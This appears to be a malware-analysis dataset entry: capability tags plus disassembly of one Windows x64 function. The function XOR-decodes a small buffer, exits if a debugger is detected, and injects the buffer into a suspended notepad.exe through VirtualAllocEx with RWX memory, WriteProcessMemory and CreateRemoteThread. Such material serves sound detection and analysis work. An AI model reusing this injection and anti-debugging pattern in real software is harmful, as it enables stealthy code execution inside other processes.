Function at 0x1400016c7
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode
Terminate process
Use process replacement

Disassembly:
push rbp
push rbx
sub rsp, 0x128
lea rbp, [rsp + 0x80]
call dbg.__main
mov qword [rbp + 0x90], 0x64
mov rax, qword [rbp + 0x90]
mov rcx, rax
call sym.allocate_memory
mov qword [rbp + 0x88], rax
mov dword [rbp + 0x71], 0x6c6c6548
mov word [rbp + 0x75], 0x6f
mov byte [rbp + 0x77], 0
mov dword [rbp + 0x9c], 0
jmp 0x140001740
mov eax, dword [rbp + 0x9c]
cdqe
movzx eax, byte [rbp + rax + 0x71]
xor eax, 0x22
mov edx, eax
mov eax, dword [rbp + 0x9c]
cdqe
mov byte [rbp + rax + 0x71], dl
add dword [rbp + 0x9c], 1
mov eax, dword [rbp + 0x9c]
movsxd rbx, eax
lea rax, [rbp + 0x71]
mov rcx, rax
call sym.strlen
cmp rbx, rax
jb 0x14000171b
mov rcx, qword [rbp + 0x90]
lea rdx, [rbp + 0x71]
mov rax, qword [rbp + 0x88]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
je 0x140001792
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov rax, rbp
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp], 0x68
lea rax, [rbp - 0x20]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
mov rax, rbp
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.notepad.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x140001845
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateProcess_failed___d__n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001a11
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp + 0x90]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x80], rax
cmp qword [rbp + 0x80], 0
jne 0x1400018bc
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.VirtualAllocEx_failed___d__n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x20]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 1
jmp 0x140001a11
mov rax, qword [rbp - 0x20]
mov r9, qword [rbp + 0x90]
lea r8, [rbp + 0x71]
mov rdx, qword [rbp + 0x80]
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x140001924
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.WriteProcessMemory_failed___d__n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x20]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 1
jmp 0x140001a11
mov rdx, qword [rbp + 0x80]
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x78], rax
cmp qword [rbp + 0x78], 0
jne 0x1400019a4
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateRemoteThread_failed___d__n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x20]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 1
jmp 0x140001a11
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp + 0x78]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp + 0x80]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0x78]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x128
pop rbx
pop rbp
ret